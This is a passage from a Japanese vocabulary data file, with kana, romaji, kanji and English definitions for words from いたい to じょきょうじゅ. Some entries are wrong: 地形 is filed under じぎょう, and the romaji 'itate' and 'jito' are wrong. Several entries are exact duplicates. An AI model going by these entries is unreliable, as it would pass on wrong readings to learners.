take\"\n\t},\n\n\t{\n\t\t'kana':'いたい',\n\t\t'romaji':'itai',\n\t\t'kanji':'痛い',\n\t\t'definition':\"painful\"\n\t},\n\n\t{\n\t\t'kana':'いたく',\n\t\t'romaji':'itaku',\n\t\t'kanji':'委託',\n\t\t'definition':\"consign (goods (for sale) to a firm);entrust (person with something);commit\"\n\t},\n\n\t{\n\t\t'kana':'いためる',\n\t\t'romaji':'itameru',\n\t\t'kanji':'炒める',\n\t\t'definition':\"to stir-fry\"\n\t},\n\n\t{\n\t\t'kana':'いためる',\n\t\t'romaji':'itameru',\n\t\t'kanji':'痛める',\n\t\t'definition':\"to hurt;to injure;to cause pain;to worry;to bother;to afflict;to be grieved over\"\n\t},\n\n\t{\n\t\t'kana':'いたみ',\n\t\t'romaji':'itami',\n\t\t'kanji':'痛み',\n\t\t'definition':\"pain;ache;sore;grief;distress\"\n\t},\n\n\t{\n\t\t'kana':'いたむ',\n\t\t'romaji':'itamu',\n\t\t'kanji':'痛む',\n\t\t'definition':\"to hurt;to feel a pain;to be injured\"\n\t},\n\n\t{\n\t\t'kana':'いたる',\n\t\t'romaji':'itaru',\n\t\t'kanji':'至る',\n\t\t'definition':\"to come;to arrive\"\n\t},\n\n\t{\n\t\t'kana':'いたす',\n\t\t'romaji':'itasu',\n\t\t'kanji':'致す',\n\t\t'definition':\"to do\"\n\t},\n\n\t{\n\t\t'kana':'いたって',\n\t\t'romaji':'itate',\n\t\t'kanji':'至って',\n\t\t'definition':\"very much;exceedingly;extremely\"\n\t},\n\n\t{\n\t\t'kana':'いたわる',\n\t\t'romaji':'itawaru',\n\t\t'kanji':'労る',\n\t\t'definition':\"to pity;to sympathize with;to console;to care for;to be kind to\"\n\t},\n\n\t{\n\t\t'kana':'いたずら',\n\t\t'romaji':'itazura',\n\t\t'kanji':'悪戯',\n\t\t'definition':\"tease;prank;trick;practical joke;mischief\"\n\t},\n\n\t{\n\t\t'kana':'いてん',\n\t\t'romaji':'iten',\n\t\t'kanji':'移転',\n\t\t'definition':\"moving;transfer;demise\"\n\t},\n\n\t{\n\t\t'kana':'いと',\n\t\t'romaji':'ito',\n\t\t'kanji':'糸',\n\t\t'definition':\"thread;yarn;string\"\n\t},\n\n\t{\n\t\t'kana':'いと',\n\t\t'romaji':'ito',\n\t\t'kanji':'意図',\n\t\t'definition':\"intention;aim;design\"\n\t},\n\n\t{\n\t\t'kana':'いとこ',\n\t\t'romaji':'itoko',\n\t\t'kanji':'従姉妹',\n\t\t'definition':\"cousin (female)\"\n\t},\n\n\t{\n\t\t'kana':'いとこ',\n\t\t'romaji':'itoko',\n\t\t'kanji':'従兄弟',\n\t\t'definition':\"cousin\"\n\t},\n\n\t{\n\t\t'kana':'いとま',\n\t\t'romaji':'itoma',\n\t\t'kanji':'暇',\n\t\t'definition':\"free time;leisure;leave;spare time;farewell\"\n\t},\n\n\t{\n\t\t'kana':'いとなむ',\n\t\t'romaji':'itonamu',\n\t\t'kanji':'営む',\n\t\t'definition':\"to carry on (e.g. in ceremony);to run a business\"\n\t},\n\n\t{\n\t\t'kana':'いつ',\n\t\t'romaji':'itsu',\n\t\t'kanji':'何時',\n\t\t'definition':\"when;how soon\"\n\t},\n\n\t{\n\t\t'kana':'いつでも',\n\t\t'romaji':'itsudemo',\n\t\t'kanji':'何時でも',\n\t\t'definition':\"(at) any time;always;at all times;never (neg);whenever\"\n\t},\n\n\t{\n\t\t'kana':'いつか',\n\t\t'romaji':'itsuka',\n\t\t'kanji':'何時か',\n\t\t'definition':\"sometime;someday;one day;some time or other;the other day;in due course;in time\"\n\t},\n\n\t{\n\t\t'kana':'いつか',\n\t\t'romaji':'itsuka',\n\t\t'kanji':'五日',\n\t\t'definition':\"five days;the fifth day (of the month)\"\n\t},\n\n\t{\n\t\t'kana':'いつまでも',\n\t\t'romaji':'itsumademo',\n\t\t'kanji':'何時までも',\n\t\t'definition':\"forever;for good;eternally;as long as one likes;indefinitely\"\n\t},\n\n\t{\n\t\t'kana':'いつも',\n\t\t'romaji':'itsumo',\n\t\t'kanji':'何時も',\n\t\t'definition':\"always;usually;every time;never (with neg. verb)\"\n\t},\n\n\t{\n\t\t'kana':'いつのまにか',\n\t\t'romaji':'itsunomanika',\n\t\t'kanji':'何時の間にか',\n\t\t'definition':\"before one knows;unnoticed;unawares\"\n\t},\n\n\t{\n\t\t'kana':'いつつ',\n\t\t'romaji':'itsutsu',\n\t\t'kanji':'五つ',\n\t\t'definition':\"five\"\n\t},\n\n\t{\n\t\t'kana':'いったい',\n\t\t'romaji':'ittai',\n\t\t'kanji':'一体',\n\t\t'definition':\"one object;one body;what on earth?;really?;generally\"\n\t},\n\n\t{\n\t\t'kana':'いったい',\n\t\t'romaji':'ittai',\n\t\t'kanji':'一帯',\n\t\t'definition':\"a region;a zone;the whole place\"\n\t},\n\n\t{\n\t\t'kana':'いったん',\n\t\t'romaji':'ittan',\n\t\t'kanji':'一旦',\n\t\t'definition':\"once;for a moment;one morning;temporarily\"\n\t},\n\n\t{\n\t\t'kana':'いう',\n\t\t'romaji':'iu',\n\t\t'kanji':'言う',\n\t\t'definition':\"to say\"\n\t},\n\n\t{\n\t\t'kana':'いわ',\n\t\t'romaji':'iwa',\n\t\t'kanji':'岩',\n\t\t'definition':\"rock;crag\"\n\t},\n\n\t{\n\t\t'kana':'いわば',\n\t\t'romaji':'iwaba',\n\t\t'kanji':'言わば',\n\t\t'definition':\"so to speak\"\n\t},\n\n\t{\n\t\t'kana':'いわい',\n\t\t'romaji':'iwai',\n\t\t'kanji':'祝い',\n\t\t'definition':\"celebration;festival\"\n\t},\n\n\t{\n\t\t'kana':'いわう',\n\t\t'romaji':'iwau',\n\t\t'kanji':'祝う',\n\t\t'definition':\"to congratulate;to celebrate\"\n\t},\n\n\t{\n\t\t'kana':'いわゆる',\n\t\t'romaji':'iwayuru',\n\t\t'kanji':'所謂',\n\t\t'definition':\"the so-called;so to speak\"\n\t},\n\n\t{\n\t\t'kana':'いや',\n\t\t'romaji':'iya',\n\t\t'kanji':'嫌',\n\t\t'definition':\"disagreeable;detestable;unpleasant;reluctant\"\n\t},\n\n\t{\n\t\t'kana':'いやがる',\n\t\t'romaji':'iyagaru',\n\t\t'kanji':'嫌がる',\n\t\t'definition':\"to hate;to dislike\"\n\t},\n\n\t{\n\t\t'kana':'いやいや',\n\t\t'romaji':'iyaiya',\n\t\t'kanji':'厭々',\n\t\t'definition':\"unwillingly;grudgingly;shaking head in refusal (to children)\"\n\t},\n\n\t{\n\t\t'kana':'いやに',\n\t\t'romaji':'iyani',\n\t\t'kanji':'',\n\t\t'definition':\"awfully;terribly\"\n\t},\n\n\t{\n\t\t'kana':'いやらしい',\n\t\t'romaji':'iyarashii',\n\t\t'kanji':'厭やらしい',\n\t\t'definition':\"detestable;disagreeable\"\n\t},\n\n\t{\n\t\t'kana':'いやしい',\n\t\t'romaji':'iyashii',\n\t\t'kanji':'卑しい',\n\t\t'definition':\"greedy;vulgar;shabby;humble;base;mean;vile\"\n\t},\n\n\t{\n\t\t'kana':'いよいよ',\n\t\t'romaji':'iyoiyo',\n\t\t'kanji':'愈々',\n\t\t'definition':\"more and more;all the more;increasingly;at last;beyond doubt\"\n\t},\n\n\t{\n\t\t'kana':'いよく',\n\t\t'romaji':'iyoku',\n\t\t'kanji':'意欲',\n\t\t'definition':\"will;desire;ambition\"\n\t},\n\n\t{\n\t\t'kana':'いざ',\n\t\t'romaji':'iza',\n\t\t'kanji':'',\n\t\t'definition':\"now;come (now);well;crucial moment\"\n\t},\n\n\t{\n\t\t'kana':'いぜん',\n\t\t'romaji':'izen',\n\t\t'kanji':'以前',\n\t\t'definition':\"ago;since;before;previous\"\n\t},\n\n\t{\n\t\t'kana':'いぜん',\n\t\t'romaji':'izen',\n\t\t'kanji':'依然',\n\t\t'definition':\"still;as yet\"\n\t},\n\n\t{\n\t\t'kana':'いずみ',\n\t\t'romaji':'izumi',\n\t\t'kanji':'泉',\n\t\t'definition':\"spring;fountain\"\n\t},\n\n\t{\n\t\t'kana':'いずれ',\n\t\t'romaji':'izure',\n\t\t'kanji':'何れ',\n\t\t'definition':\"where;which;who;anyway;anyhow;at any rate\"\n\t},\n\n\t{\n\t\t'kana':'じばん',\n\t\t'romaji':'jiban',\n\t\t'kanji':'地盤',\n\t\t'definition':\"(the) ground\"\n\t},\n\n\t{\n\t\t'kana':'じびか',\n\t\t'romaji':'jibika',\n\t\t'kanji':'耳鼻科',\n\t\t'definition':\"otolaryngology\"\n\t},\n\n\t{\n\t\t'kana':'じびき',\n\t\t'romaji':'jibiki',\n\t\t'kanji':'字引',\n\t\t'definition':\"dictionary\"\n\t},\n\n\t{\n\t\t'kana':'じぶん',\n\t\t'romaji':'jibun',\n\t\t'kanji':'自分',\n\t\t'definition':\"myself;oneself\"\n\t},\n\n\t{\n\t\t'kana':'じち',\n\t\t'romaji':'jichi',\n\t\t'kanji':'自治',\n\t\t'definition':\"self-government;autonomy\"\n\t},\n\n\t{\n\t\t'kana':'じだい',\n\t\t'romaji':'jidai',\n\t\t'kanji':'時代',\n\t\t'definition':\"period;epoch;era\"\n\t},\n\n\t{\n\t\t'kana':'じどう',\n\t\t'romaji':'jidou',\n\t\t'kanji':'児童',\n\t\t'definition':\"children;juvenile\"\n\t},\n\n\t{\n\t\t'kana':'じどう',\n\t\t'romaji':'jidou',\n\t\t'kanji':'自動',\n\t\t'definition':\"automatic;self-motion\"\n\t},\n\n\t{\n\t\t'kana':'じどうしゃ',\n\t\t'romaji':'jidousha',\n\t\t'kanji':'自動車',\n\t\t'definition':\"automobile\"\n\t},\n\n\t{\n\t\t'kana':'じどうし',\n\t\t'romaji':'jidoushi',\n\t\t'kanji':'自動詞',\n\t\t'definition':\"intransitive verb (no direct obj)\"\n\t},\n\n\t{\n\t\t'kana':'じえい',\n\t\t'romaji':'jiei',\n\t\t'kanji':'自衛',\n\t\t'definition':\"self-defense\"\n\t},\n\n\t{\n\t\t'kana':'じが',\n\t\t'romaji':'jiga',\n\t\t'kanji':'自我',\n\t\t'definition':\"self;the ego\"\n\t},\n\n\t{\n\t\t'kana':'じごく',\n\t\t'romaji':'jigoku',\n\t\t'kanji':'地獄',\n\t\t'definition':\"hell\"\n\t},\n\n\t{\n\t\t'kana':'じぎょう',\n\t\t'romaji':'jigyou',\n\t\t'kanji':'地形',\n\t\t'definition':\"terrain;geographical features;topography\"\n\t},\n\n\t{\n\t\t'kana':'じぎょう',\n\t\t'romaji':'jigyou',\n\t\t'kanji':'事業',\n\t\t'definition':\"project;enterprise;business;industry;operations\"\n\t},\n\n\t{\n\t\t'kana':'じいん',\n\t\t'romaji':'jiin',\n\t\t'kanji':'寺院',\n\t\t'definition':\"temple\"\n\t},\n\n\t{\n\t\t'kana':'じじつ',\n\t\t'romaji':'jijitsu',\n\t\t'kanji':'事実',\n\t\t'definition':\"fact;truth;reality\"\n\t},\n\n\t{\n\t\t'kana':'じじょう',\n\t\t'romaji':'jijyou',\n\t\t'kanji':'事情',\n\t\t'definition':\"circumstances;consideration;conditions;situation;reasons\"\n\t},\n\n\t{\n\t\t'kana':'じっか',\n\t\t'romaji':'jika',\n\t\t'kanji':'実家',\n\t\t'definition':\"(one's parents') home\"\n\t},\n\n\t{\n\t\t'kana':'じかく',\n\t\t'romaji':'jikaku',\n\t\t'kanji':'自覚',\n\t\t'definition':\"self-conscious\"\n\t},\n\n\t{\n\t\t'kana':'じかん',\n\t\t'romaji':'jikan',\n\t\t'kanji':'時間',\n\t\t'definition':\"time\"\n\t},\n\n\t{\n\t\t'kana':'じかん',\n\t\t'romaji':'jikan',\n\t\t'kanji':'時間',\n\t\t'definition':\"time\"\n\t},\n\n\t{\n\t\t'kana':'じかに',\n\t\t'romaji':'jikani',\n\t\t'kanji':'直に',\n\t\t'definition':\"directly;in person;headlong\"\n\t},\n\n\t{\n\t\t'kana':'じかんわり',\n\t\t'romaji':'jikanwari',\n\t\t'kanji':'時間割',\n\t\t'definition':\"timetable;schedule\"\n\t},\n\n\t{\n\t\t'kana':'じかた',\n\t\t'romaji':'jikata',\n\t\t'kanji':'地方',\n\t\t'definition':\"area;locality;district;region;the coast\"\n\t},\n\n\t{\n\t\t'kana':'じけん',\n\t\t'romaji':'jiken',\n\t\t'kanji':'事件',\n\t\t'definition':\"event;affair;incident;case;plot;trouble;scandal\"\n\t},\n\n\t{\n\t\t'kana':'じき',\n\t\t'romaji':'jiki',\n\t\t'kanji':'時期',\n\t\t'definition':\"time;season;period\"\n\t},\n\n\t{\n\t\t'kana':'じき',\n\t\t'romaji':'jiki',\n\t\t'kanji':'直',\n\t\t'definition':\"direct;in person;soon;at once;just;near by;honesty;frankness;simplicity;cheerfulness;correctness;being straight;night duty\"\n\t},\n\n\t{\n\t\t'kana':'じき',\n\t\t'romaji':'jiki',\n\t\t'kanji':'磁器',\n\t\t'definition':\"porcelain;china\"\n\t},\n\n\t{\n\t\t'kana':'じき',\n\t\t'romaji':'jiki',\n\t\t'kanji':'磁気',\n\t\t'definition':\"magnetism\"\n\t},\n\n\t{\n\t\t'kana':'じっかん',\n\t\t'romaji':'jikkan',\n\t\t'kanji':'実感',\n\t\t'definition':\"feelings (actual true)\"\n\t},\n\n\t{\n\t\t'kana':'じっけん',\n\t\t'romaji':'jikken',\n\t\t'kanji':'実験',\n\t\t'definition':\"experiment\"\n\t},\n\n\t{\n\t\t'kana':'じっこう',\n\t\t'romaji':'jikkou',\n\t\t'kanji':'実行',\n\t\t'definition':\"practice;performance;execution (e.g. program);realization\"\n\t},\n\n\t{\n\t\t'kana':'じっくり',\n\t\t'romaji':'jikkuri',\n\t\t'kanji':'',\n\t\t'definition':\"deliberately;carefully\"\n\t},\n\n\t{\n\t\t'kana':'じこ',\n\t\t'romaji':'jiko',\n\t\t'kanji':'事故',\n\t\t'definition':\"accident;incident;trouble;circumstances;reasons\"\n\t},\n\n\t{\n\t\t'kana':'じこ',\n\t\t'romaji':'jiko',\n\t\t'kanji':'自己',\n\t\t'definition':\"self;oneself\"\n\t},\n\n\t{\n\t\t'kana':'じこく',\n\t\t'romaji':'jikoku',\n\t\t'kanji':'時刻',\n\t\t'definition':\"instant;time;moment\"\n\t},\n\n\t{\n\t\t'kana':'じこくひょう',\n\t\t'romaji':'jikokuhyou',\n\t\t'kanji':'時刻表',\n\t\t'definition':\"table;diagram;chart;timetable;schedule\"\n\t},\n\n\t{\n\t\t'kana':'じこう',\n\t\t'romaji':'jikou',\n\t\t'kanji':'事項',\n\t\t'definition':\"matter;item;facts\"\n\t},\n\n\t{\n\t\t'kana':'じく',\n\t\t'romaji':'jiku',\n\t\t'kanji':'軸',\n\t\t'definition':\"axis;stem;shaft;axle\"\n\t},\n\n\t{\n\t\t'kana':'じまん',\n\t\t'romaji':'jiman',\n\t\t'kanji':'自慢',\n\t\t'definition':\"pride;boast\"\n\t},\n\n\t{\n\t\t'kana':'じめん',\n\t\t'romaji':'jimen',\n\t\t'kanji':'地面',\n\t\t'definition':\"ground;earth's surface\"\n\t},\n\n\t{\n\t\t'kana':'じみ',\n\t\t'romaji':'jimi',\n\t\t'kanji':'地味',\n\t\t'definition':\"plain;simple\"\n\t},\n\n\t{\n\t\t'kana':'じもと',\n\t\t'romaji':'jimoto',\n\t\t'kanji':'地元',\n\t\t'definition':\"local\"\n\t},\n\n\t{\n\t\t'kana':'じむ',\n\t\t'romaji':'jimu',\n\t\t'kanji':'事務',\n\t\t'definition':\"business;office work\"\n\t},\n\n\t{\n\t\t'kana':'じん',\n\t\t'romaji':'jin',\n\t\t'kanji':'人',\n\t\t'definition':\"man;person;people\"\n\t},\n\n\t{\n\t\t'kana':'じん',\n\t\t'romaji':'jin',\n\t\t'kanji':'人',\n\t\t'definition':\"man;person;people\"\n\t},\n\n\t{\n\t\t'kana':'じん',\n\t\t'romaji':'jin',\n\t\t'kanji':'人',\n\t\t'definition':\"man;person;people\"\n\t},\n\n\t{\n\t\t'kana':'じん',\n\t\t'romaji':'jin',\n\t\t'kanji':'人',\n\t\t'definition':\"man;person;people\"\n\t},\n\n\t{\n\t\t'kana':'じんぶんかがく',\n\t\t'romaji':'jinbunkagaku',\n\t\t'kanji':'人文科学',\n\t\t'definition':\"social sciences;humanities\"\n\t},\n\n\t{\n\t\t'kana':'じんぶつ',\n\t\t'romaji':'jinbutsu',\n\t\t'kanji':'人物',\n\t\t'definition':\"character;personality;person;man;personage;talented man\"\n\t},\n\n\t{\n\t\t'kana':'じんえい',\n\t\t'romaji':'jinei',\n\t\t'kanji':'人影',\n\t\t'definition':\"man's shadow;soul\"\n\t},\n\n\t{\n\t\t'kana':'じんじ',\n\t\t'romaji':'jinji',\n\t\t'kanji':'人事',\n\t\t'definition':\"personnel affairs;human affairs\"\n\t},\n\n\t{\n\t\t'kana':'じんじゃ',\n\t\t'romaji':'jinjya',\n\t\t'kanji':'神社',\n\t\t'definition':\"Shinto shrine\"\n\t},\n\n\t{\n\t\t'kana':'じんかく',\n\t\t'romaji':'jinkaku',\n\t\t'kanji':'人格',\n\t\t'definition':\"personality;character;individuality\"\n\t},\n\n\t{\n\t\t'kana':'じんこう',\n\t\t'romaji':'jinkou',\n\t\t'kanji':'人工',\n\t\t'definition':\"artificial;manmade;human work;human skill;artificiality\"\n\t},\n\n\t{\n\t\t'kana':'じんこう',\n\t\t'romaji':'jinkou',\n\t\t'kanji':'人口',\n\t\t'definition':\"1. population; 2. common talk\"\n\t},\n\n\t{\n\t\t'kana':'じんめい',\n\t\t'romaji':'jinmei',\n\t\t'kanji':'人命',\n\t\t'definition':\"life\"\n\t},\n\n\t{\n\t\t'kana':'じんみん',\n\t\t'romaji':'jinmin',\n\t\t'kanji':'人民',\n\t\t'definition':\"people;public\"\n\t},\n\n\t{\n\t\t'kana':'じんもく',\n\t\t'romaji':'jinmoku',\n\t\t'kanji':'人目',\n\t\t'definition':\"glimpse;public gaze\"\n\t},\n\n\t{\n\t\t'kana':'じんるい',\n\t\t'romaji':'jinrui',\n\t\t'kanji':'人類',\n\t\t'definition':\"mankind;humanity\"\n\t},\n\n\t{\n\t\t'kana':'じんせい',\n\t\t'romaji':'jinsei',\n\t\t'kanji':'人生',\n\t\t'definition':\"life (i.e. conception to death)\"\n\t},\n\n\t{\n\t\t'kana':'じんしゅ',\n\t\t'romaji':'jinshu',\n\t\t'kanji':'人種',\n\t\t'definition':\"race (of people)\"\n\t},\n\n\t{\n\t\t'kana':'じんそく',\n\t\t'romaji':'jinsoku',\n\t\t'kanji':'迅速',\n\t\t'definition':\"quick;fast;rapid;swift;prompt\"\n\t},\n\n\t{\n\t\t'kana':'じんたい',\n\t\t'romaji':'jintai',\n\t\t'kanji':'人体',\n\t\t'definition':\"human body\"\n\t},\n\n\t{\n\t\t'kana':'じぬし',\n\t\t'romaji':'jinushi',\n\t\t'kanji':'地主',\n\t\t'definition':\"landlord\"\n\t},\n\n\t{\n\t\t'kana':'じんざい',\n\t\t'romaji':'jinzai',\n\t\t'kanji':'人材',\n\t\t'definition':\"man of talent\"\n\t},\n\n\t{\n\t\t'kana':'じんぞう',\n\t\t'romaji':'jinzou',\n\t\t'kanji':'人造',\n\t\t'definition':\"man-made;synthetic;artificial\"\n\t},\n\n\t{\n\t\t'kana':'じっぴ',\n\t\t'romaji':'jipi',\n\t\t'kanji':'実費',\n\t\t'definition':\"actual expense;cost price\"\n\t},\n\n\t{\n\t\t'kana':'じっぷん',\n\t\t'romaji':'jippun',\n\t\t'kanji':'十分',\n\t\t'definition':\"10 minutes\"\n\t},\n\n\t{\n\t\t'kana':'じりつ',\n\t\t'romaji':'jiritsu',\n\t\t'kanji':'自立',\n\t\t'definition':\"independence;self-reliance\"\n\t},\n\n\t{\n\t\t'kana':'じさ',\n\t\t'romaji':'jisa',\n\t\t'kanji':'時差',\n\t\t'definition':\"time difference\"\n\t},\n\n\t{\n\t\t'kana':'じさん',\n\t\t'romaji':'jisan',\n\t\t'kanji':'持参',\n\t\t'definition':\"bringing;taking;carrying\"\n\t},\n\n\t{\n\t\t'kana':'じさつ',\n\t\t'romaji':'jisatsu',\n\t\t'kanji':'自殺',\n\t\t'definition':\"suicide\"\n\t},\n\n\t{\n\t\t'kana':'じしゃく',\n\t\t'romaji':'jishaku',\n\t\t'kanji':'磁石',\n\t\t'definition':\"magnet\"\n\t},\n\n\t{\n\t\t'kana':'じっし',\n\t\t'romaji':'jishi',\n\t\t'kanji':'実施',\n\t\t'definition':\"enforcement;enact;put into practice;carry out;operation\"\n\t},\n\n\t{\n\t\t'kana':'じしん',\n\t\t'romaji':'jishin',\n\t\t'kanji':'地震',\n\t\t'definition':\"earthquake\"\n\t},\n\n\t{\n\t\t'kana':'じしん',\n\t\t'romaji':'jishin',\n\t\t'kanji':'自身',\n\t\t'definition':\"by oneself;personally\"\n\t},\n\n\t{\n\t\t'kana':'じしん',\n\t\t'romaji':'jishin',\n\t\t'kanji':'自信',\n\t\t'definition':\"self-confidence\"\n\t},\n\n\t{\n\t\t'kana':'じしょ',\n\t\t'romaji':'jisho',\n\t\t'kanji':'辞書',\n\t\t'definition':\"dictionary;lexicon\"\n\t},\n\n\t{\n\t\t'kana':'じしょく',\n\t\t'romaji':'jishoku',\n\t\t'kanji':'辞職',\n\t\t'definition':\"resignation\"\n\t},\n\n\t{\n\t\t'kana':'じしゅ',\n\t\t'romaji':'jishu',\n\t\t'kanji':'自首',\n\t\t'definition':\"surrender;give oneself up\"\n\t},\n\n\t{\n\t\t'kana':'じしゅ',\n\t\t'romaji':'jishu',\n\t\t'kanji':'自主',\n\t\t'definition':\"independence;autonomy\"\n\t},\n\n\t{\n\t\t'kana':'じっしゅう',\n\t\t'romaji':'jishuu',\n\t\t'kanji':'実習',\n\t\t'definition':\"practice;training\"\n\t},\n\n\t{\n\t\t'kana':'じしゅう',\n\t\t'romaji':'jishuu',\n\t\t'kanji':'自習',\n\t\t'definition':\"self-study\"\n\t},\n\n\t{\n\t\t'kana':'じそく',\n\t\t'romaji':'jisoku',\n\t\t'kanji':'時速',\n\t\t'definition':\"speed (per hour)\"\n\t},\n\n\t{\n\t\t'kana':'じそんしん',\n\t\t'romaji':'jisonshin',\n\t\t'kanji':'自尊心',\n\t\t'definition':\"self-respect;conceit\"\n\t},\n\n\t{\n\t\t'kana':'じっさい',\n\t\t'romaji':'jissai',\n\t\t'kanji':'実際',\n\t\t'definition':\"practical;actual condition;status quo\"\n\t},\n\n\t{\n\t\t'kana':'じっせき',\n\t\t'romaji':'jisseki',\n\t\t'kanji':'実績',\n\t\t'definition':\"achievements;actual results\"\n\t},\n\n\t{\n\t\t'kana':'じっせん',\n\t\t'romaji':'jissen',\n\t\t'kanji':'実践',\n\t\t'definition':\"practice;put into practice\"\n\t},\n\n\t{\n\t\t'kana':'じっしつ',\n\t\t'romaji':'jisshitsu',\n\t\t'kanji':'実質',\n\t\t'definition':\"substance;essence\"\n\t},\n\n\t{\n\t\t'kana':'じたい',\n\t\t'romaji':'jitai',\n\t\t'kanji':'事態',\n\t\t'definition':\"situation;present state of affairs;circumstances\"\n\t},\n\n\t{\n\t\t'kana':'じたい',\n\t\t'romaji':'jitai',\n\t\t'kanji':'辞退',\n\t\t'definition':\"refusal\"\n\t},\n\n\t{\n\t\t'kana':'じたい',\n\t\t'romaji':'jitai',\n\t\t'kanji':'字体',\n\t\t'definition':\"type;font;lettering\"\n\t},\n\n\t{\n\t\t'kana':'じたく',\n\t\t'romaji':'jitaku',\n\t\t'kanji':'自宅',\n\t\t'definition':\"one's home\"\n\t},\n\n\t{\n\t\t'kana':'じてん',\n\t\t'romaji':'jiten',\n\t\t'kanji':'辞典',\n\t\t'definition':\"dictionary\"\n\t},\n\n\t{\n\t\t'kana':'じてん',\n\t\t'romaji':'jiten',\n\t\t'kanji':'自転',\n\t\t'definition':\"rotation;spin\"\n\t},\n\n\t{\n\t\t'kana':'じてんしゃ',\n\t\t'romaji':'jitensha',\n\t\t'kanji':'自転車',\n\t\t'definition':\"bicycle\"\n\t},\n\n\t{\n\t\t'kana':'じっと',\n\t\t'romaji':'jito',\n\t\t'kanji':'',\n\t\t'definition':\"fixedly;firmly;patiently;quietly\"\n\t},\n\n\t{\n\t\t'kana':'じつ',\n\t\t'romaji':'jitsu',\n\t\t'kanji':'実',\n\t\t'definition':\"truth;reality;sincerity;fidelity;kindness;faith;substance;essence\"\n\t},\n\n\t{\n\t\t'kana':'じつ',\n\t\t'romaji':'jitsu',\n\t\t'kanji':'実',\n\t\t'definition':\"truth;reality;sincerity;fidelity;kindness;faith;substance;essence\"\n\t},\n\n\t{\n\t\t'kana':'じつぶつ',\n\t\t'romaji':'jitsubutsu',\n\t\t'kanji':'実物',\n\t\t'definition':\"real thing;original\"\n\t},\n\n\t{\n\t\t'kana':'じつげん',\n\t\t'romaji':'jitsugen',\n\t\t'kanji':'実現',\n\t\t'definition':\"implementation;materialization;realization\"\n\t},\n\n\t{\n\t\t'kana':'じつぎょうか',\n\t\t'romaji':'jitsugyouka',\n\t\t'kanji':'実業家',\n\t\t'definition':\"industrialist;businessman\"\n\t},\n\n\t{\n\t\t'kana':'じつは',\n\t\t'romaji':'jitsuha',\n\t\t'kanji':'実は',\n\t\t'definition':\"as a matter of fact;by the way\"\n\t},\n\n\t{\n\t\t'kana':'じつじょう',\n\t\t'romaji':'jitsujyou',\n\t\t'kanji':'実情',\n\t\t'definition':\"real condition;actual circumstances;actual state of affairs\"\n\t},\n\n\t{\n\t\t'kana':'じつに',\n\t\t'romaji':'jitsuni',\n\t\t'kanji':'実に',\n\t\t'definition':\"indeed;truly;surely\"\n\t},\n\n\t{\n\t\t'kana':'じつれい',\n\t\t'romaji':'jitsurei',\n\t\t'kanji':'実例',\n\t\t'definition':\"example;illustration\"\n\t},\n\n\t{\n\t\t'kana':'じつりょく',\n\t\t'romaji':'jitsuryoku',\n\t\t'kanji':'実力',\n\t\t'definition':\"merit;efficiency;arms;force\"\n\t},\n\n\t{\n\t\t'kana':'じつよう',\n\t\t'romaji':'jitsuyou',\n\t\t'kanji':'実用',\n\t\t'definition':\"practical use;utility\"\n\t},\n\n\t{\n\t\t'kana':'じったい',\n\t\t'romaji':'jittai',\n\t\t'kanji':'実態',\n\t\t'definition':\"truth;fact\"\n\t},\n\n\t{\n\t\t'kana':'じゆう',\n\t\t'romaji':'jiyuu',\n\t\t'kanji':'自由',\n\t\t'definition':\"freedom;liberty;as it pleases you\"\n\t},\n\n\t{\n\t\t'kana':'じざい',\n\t\t'romaji':'jizai',\n\t\t'kanji':'自在',\n\t\t'definition':\"freely;at will\"\n\t},\n\n\t{\n\t\t'kana':'じぜん',\n\t\t'romaji':'jizen',\n\t\t'kanji':'事前',\n\t\t'definition':\"prior;beforehand;in advance\"\n\t},\n\n\t{\n\t\t'kana':'じぞく',\n\t\t'romaji':'jizoku',\n\t\t'kanji':'持続',\n\t\t'definition':\"continuation\"\n\t},\n\n\t{\n\t\t'kana':'じゃぐち',\n\t\t'romaji':'jyaguchi',\n\t\t'kanji':'蛇口',\n\t\t'definition':\"faucet;tap\"\n\t},\n\n\t{\n\t\t'kana':'じゃっかん',\n\t\t'romaji':'jyakkan',\n\t\t'kanji':'若干',\n\t\t'definition':\"some;few;number of\"\n\t},\n\n\t{\n\t\t'kana':'じゃく',\n\t\t'romaji':'jyaku',\n\t\t'kanji':'弱',\n\t\t'definition':\"weakness;the weak;little less then\"\n\t},\n\n\t{\n\t\t'kana':'じゃくてん',\n\t\t'romaji':'jyakuten',\n\t\t'kanji':'弱点',\n\t\t'definition':\"weak point;weakness\"\n\t},\n\n\t{\n\t\t'kana':'じゃま',\n\t\t'romaji':'jyama',\n\t\t'kanji':'邪魔',\n\t\t'definition':\"hindrance;intrusion\"\n\t},\n\n\t{\n\t\t'kana':'じゃんけん',\n\t\t'romaji':'jyanken',\n\t\t'kanji':'じゃん拳',\n\t\t'definition':\"rock-scissors-paper game\"\n\t},\n\n\t{\n\t\t'kana':'じゃり',\n\t\t'romaji':'jyari',\n\t\t'kanji':'砂利',\n\t\t'definition':\"gravel;ballast;pebbles\"\n\t},\n\n\t{\n\t\t'kana':'じょ',\n\t\t'romaji':'jyo',\n\t\t'kanji':'助',\n\t\t'definition':\"help;rescue;assistant\"\n\t},\n\n\t{\n\t\t'kana':'じょどうし',\n\t\t'romaji':'jyodoushi',\n\t\t'kanji':'助動詞',\n\t\t'definition':\"auxiliary verb\"\n\t},\n\n\t{\n\t\t'kana':'じょがい',\n\t\t'romaji':'jyogai',\n\t\t'kanji':'除外',\n\t\t'definition':\"exception;exclusion\"\n\t},\n\n\t{\n\t\t'kana':'じょげん',\n\t\t'romaji':'jyogen',\n\t\t'kanji':'助言',\n\t\t'definition':\"advice;suggestion\"\n\t},\n\n\t{\n\t\t'kana':'じょじょに',\n\t\t'romaji':'jyojyoni',\n\t\t'kanji':'徐々に',\n\t\t'definition':\"slowly;little by little;gradually;steadily;quietly\"\n\t},\n\n\t{\n\t\t'kana':'じょこう',\n\t\t'romaji':'jyokou',\n\t\t'kanji':'徐行',\n\t\t'definition':\"going slowly\"\n\t},\n\n\t{\n\t\t'kana':'じょきょうじゅ',\n\t\t'romaji':'jyokyoujyu',\n\t\t'kanji':'助教授',\n\t\t'definition':\"assistant 